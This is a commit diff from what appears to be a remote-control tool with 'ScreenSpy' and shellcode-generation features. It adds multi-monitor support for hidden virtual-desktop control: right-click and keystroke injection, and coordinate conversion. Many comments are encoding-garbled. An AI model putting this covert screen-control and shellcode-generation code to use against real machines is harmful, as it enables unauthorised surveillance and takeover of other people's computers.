fix: Virtual desktop control support multiple monitor
This commit is contained in:
@@ -433,51 +433,52 @@ VOID CScreenManager::ProcessCommand(LPBYTE szBuffer, ULONG ulLength)
|
|||||||
case WM_KEYUP:
|
case WM_KEYUP:
|
||||||
return;
|
return;
|
||||||
case WM_CHAR:
|
case WM_CHAR:
|
||||||
|
|
||||||
case WM_KEYDOWN: {
|
case WM_KEYDOWN: {
|
||||||
m_point = m_lastPoint;
|
m_point = m_lastPoint;
|
||||||
hWnd = WindowFromPoint(m_point);
|
hWnd = WindowFromPoint(m_point);
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
case WM_RBUTTONDOWN: {
|
|
||||||
// <20><>¼<EFBFBD>Ҽ<EFBFBD><D2BC><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|
||||||
m_rmouseDown = TRUE;
|
|
||||||
m_rclickPoint = msg->pt;
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
case WM_RBUTTONUP: {
|
|
||||||
m_rmouseDown = FALSE;
|
|
||||||
m_rclickWnd = WindowFromPoint(m_rclickPoint);
|
|
||||||
// <20><><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD>Ϊϵͳ<CFB5>˵<EFBFBD><CBB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|
||||||
char szClass[256];
|
|
||||||
GetClassNameA(m_rclickWnd, szClass, sizeof(szClass));
|
|
||||||
Mprintf("Right click on '%s' %s[%p]\n", szClass, GetTitle(hWnd).c_str(), hWnd);
|
|
||||||
if (strcmp(szClass, "Shell_TrayWnd") == 0) {
|
|
||||||
// <20><><EFBFBD><EFBFBD>ϵͳ<CFB5><CDB3><EFBFBD>Ҽ<EFBFBD><D2BC>˵<EFBFBD><CBB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|
||||||
PostMessage(m_rclickWnd, WM_CONTEXTMENU, (WPARAM)m_rclickWnd,
|
|
||||||
MAKELPARAM(m_rclickPoint.x, m_rclickPoint.y));
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
// <20><>ͨ<EFBFBD><CDA8><EFBFBD>ڵ<EFBFBD><DAB5>Ҽ<EFBFBD><D2BC>˵<EFBFBD>
|
|
||||||
if (!PostMessage(m_rclickWnd, WM_RBUTTONUP, msg->wParam,
|
|
||||||
MAKELPARAM(m_rclickPoint.x, m_rclickPoint.y))) {
|
|
||||||
// <20><><EFBFBD>ӣ<EFBFBD>ģ<EFBFBD><C4A3><EFBFBD><EFBFBD><EFBFBD>̰<EFBFBD><CCB0><EFBFBD>Shift+F10<31><30><EFBFBD><EFBFBD><EFBFBD>ò˵<C3B2><CBB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʽ<EFBFBD><CABD>
|
|
||||||
keybd_event(VK_SHIFT, 0, 0, 0);
|
|
||||||
keybd_event(VK_F10, 0, 0, 0);
|
|
||||||
keybd_event(VK_F10, 0, KEYEVENTF_KEYUP, 0);
|
|
||||||
keybd_event(VK_SHIFT, 0, KEYEVENTF_KEYUP, 0);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
default:
|
default:
|
||||||
{
|
{
|
||||||
|
msg->pt = { LOWORD(msg->lParam), HIWORD(msg->lParam) };
|
||||||
|
m_ScreenSpyObject->PointConversion(msg->pt);
|
||||||
|
msg->lParam = MAKELPARAM(msg->pt.x, msg->pt.y);
|
||||||
|
|
||||||
mouseMsg = TRUE;
|
mouseMsg = TRUE;
|
||||||
m_point = msg->pt;
|
m_point = msg->pt;
|
||||||
hWnd = WindowFromPoint(m_point);
|
hWnd = WindowFromPoint(m_point);
|
||||||
lastPointCopy = m_lastPoint;
|
lastPointCopy = m_lastPoint;
|
||||||
m_lastPoint = m_point;
|
m_lastPoint = m_point;
|
||||||
if (msg->message == WM_LBUTTONUP) {
|
if (msg->message == WM_RBUTTONDOWN) {
|
||||||
|
// <20><>¼<EFBFBD>Ҽ<EFBFBD><D2BC><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
m_rmouseDown = TRUE;
|
||||||
|
m_rclickPoint = msg->pt;
|
||||||
|
}
|
||||||
|
else if (msg->message == WM_RBUTTONUP) {
|
||||||
|
m_rmouseDown = FALSE;
|
||||||
|
m_rclickWnd = WindowFromPoint(m_rclickPoint);
|
||||||
|
// <20><><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD>Ϊϵͳ<CFB5>˵<EFBFBD><CBB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
char szClass[256] = {};
|
||||||
|
GetClassNameA(m_rclickWnd, szClass, sizeof(szClass));
|
||||||
|
Mprintf("Right click on '%s' %s[%p]\n", szClass, GetTitle(hWnd).c_str(), hWnd);
|
||||||
|
if (strcmp(szClass, "Shell_TrayWnd") == 0) {
|
||||||
|
// <20><><EFBFBD><EFBFBD>ϵͳ<CFB5><CDB3><EFBFBD>Ҽ<EFBFBD><D2BC>˵<EFBFBD><CBB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
PostMessage(m_rclickWnd, WM_CONTEXTMENU, (WPARAM)m_rclickWnd,
|
||||||
|
MAKELPARAM(m_rclickPoint.x, m_rclickPoint.y));
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
// <20><>ͨ<EFBFBD><CDA8><EFBFBD>ڵ<EFBFBD><DAB5>Ҽ<EFBFBD><D2BC>˵<EFBFBD>
|
||||||
|
if (!PostMessage(m_rclickWnd, WM_RBUTTONUP, msg->wParam,
|
||||||
|
MAKELPARAM(m_rclickPoint.x, m_rclickPoint.y))) {
|
||||||
|
// <20><><EFBFBD>ӣ<EFBFBD>ģ<EFBFBD><C4A3><EFBFBD><EFBFBD><EFBFBD>̰<EFBFBD><CCB0><EFBFBD>Shift+F10<31><30><EFBFBD><EFBFBD><EFBFBD>ò˵<C3B2><CBB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʽ<EFBFBD><CABD>
|
||||||
|
keybd_event(VK_SHIFT, 0, 0, 0);
|
||||||
|
keybd_event(VK_F10, 0, 0, 0);
|
||||||
|
keybd_event(VK_F10, 0, KEYEVENTF_KEYUP, 0);
|
||||||
|
keybd_event(VK_SHIFT, 0, KEYEVENTF_KEYUP, 0);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else if (msg->message == WM_LBUTTONUP) {
|
||||||
if (m_rclickWnd && hWnd != m_rclickWnd)
|
if (m_rclickWnd && hWnd != m_rclickWnd)
|
||||||
{
|
{
|
||||||
PostMessageA(m_rclickWnd, WM_LBUTTONDOWN, MK_LBUTTON, 0);
|
PostMessageA(m_rclickWnd, WM_LBUTTONDOWN, MK_LBUTTON, 0);
|
||||||
|
|||||||
@@ -22,10 +22,10 @@ public:
|
|||||||
void Create(HDC desktop, int _x, int _y, int w, int h) {
|
void Create(HDC desktop, int _x, int _y, int w, int h) {
|
||||||
x = _x;
|
x = _x;
|
||||||
y = _y;
|
y = _y;
|
||||||
width = w;
|
width = GetSystemMetrics(SM_CXVIRTUALSCREEN);
|
||||||
height = h;
|
height = GetSystemMetrics(SM_CYVIRTUALSCREEN);
|
||||||
hDcWindow = CreateCompatibleDC(desktop);
|
hDcWindow = CreateCompatibleDC(desktop);
|
||||||
hBmpWindow = CreateCompatibleBitmap(desktop, w, h);
|
hBmpWindow = CreateCompatibleBitmap(desktop, width, height);
|
||||||
}
|
}
|
||||||
EnumHwndsPrintData& SetScreenDC(HDC dc) {
|
EnumHwndsPrintData& SetScreenDC(HDC dc) {
|
||||||
hDcScreen = dc;
|
hDcScreen = dc;
|
||||||
@@ -154,7 +154,7 @@ public:
|
|||||||
|
|
||||||
static BOOL CALLBACK EnumHwndsPrint(HWND hWnd, LPARAM lParam)
|
static BOOL CALLBACK EnumHwndsPrint(HWND hWnd, LPARAM lParam)
|
||||||
{
|
{
|
||||||
AUTO_TICK_C(50);
|
AUTO_TICK_C(100);
|
||||||
if (FALSE == PaintWindow(hWnd, (EnumHwndsPrintData*)lParam)) {
|
if (FALSE == PaintWindow(hWnd, (EnumHwndsPrintData*)lParam)) {
|
||||||
char text[_MAX_PATH] = {};
|
char text[_MAX_PATH] = {};
|
||||||
GetWindowText(hWnd, text, sizeof(text));
|
GetWindowText(hWnd, text, sizeof(text));
|
||||||
|
|||||||
@@ -3114,7 +3114,8 @@ void CMy2015RemoteDlg::OnToolGenShellcode()
|
|||||||
_tcscpy_s(buffer, name);
|
_tcscpy_s(buffer, name);
|
||||||
PathRemoveExtension(buffer);
|
PathRemoveExtension(buffer);
|
||||||
if (WriteBinaryAsCArray(CString(buffer) + ".c", srcData, srcLen, "Shellcode")) {
|
if (WriteBinaryAsCArray(CString(buffer) + ".c", srcData, srcLen, "Shellcode")) {
|
||||||
MessageBox("Shellcode 生成成功! \r\n" + CString(buffer) + ".c", "提示", MB_ICONINFORMATION);
|
MessageBox("Shellcode 生成成功! 请自行编写调用程序。\r\n" + CString(buffer) + ".c",
|
||||||
|
"提示", MB_ICONINFORMATION);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
SAFE_DELETE_ARRAY(srcData);
|
SAFE_DELETE_ARRAY(srcData);
|
||||||
|
|||||||
@@ -168,7 +168,7 @@ BOOL CScreenSpyDlg::OnInitDialog()
|
|||||||
SysMenu->AppendMenu(MF_SEPARATOR);
|
SysMenu->AppendMenu(MF_SEPARATOR);
|
||||||
}
|
}
|
||||||
|
|
||||||
m_bIsCtrl = FALSE; //不是控制
|
m_bIsCtrl = THIS_CFG.GetInt("settings", "DXGI") == USING_VIRTUAL;
|
||||||
m_bIsTraceCursor = FALSE; //不是跟踪
|
m_bIsTraceCursor = FALSE; //不是跟踪
|
||||||
m_ClientCursorPos.x = 0;
|
m_ClientCursorPos.x = 0;
|
||||||
m_ClientCursorPos.y = 0;
|
m_ClientCursorPos.y = 0;
|
||||||
|
|||||||
Reference in New Issue
Block a user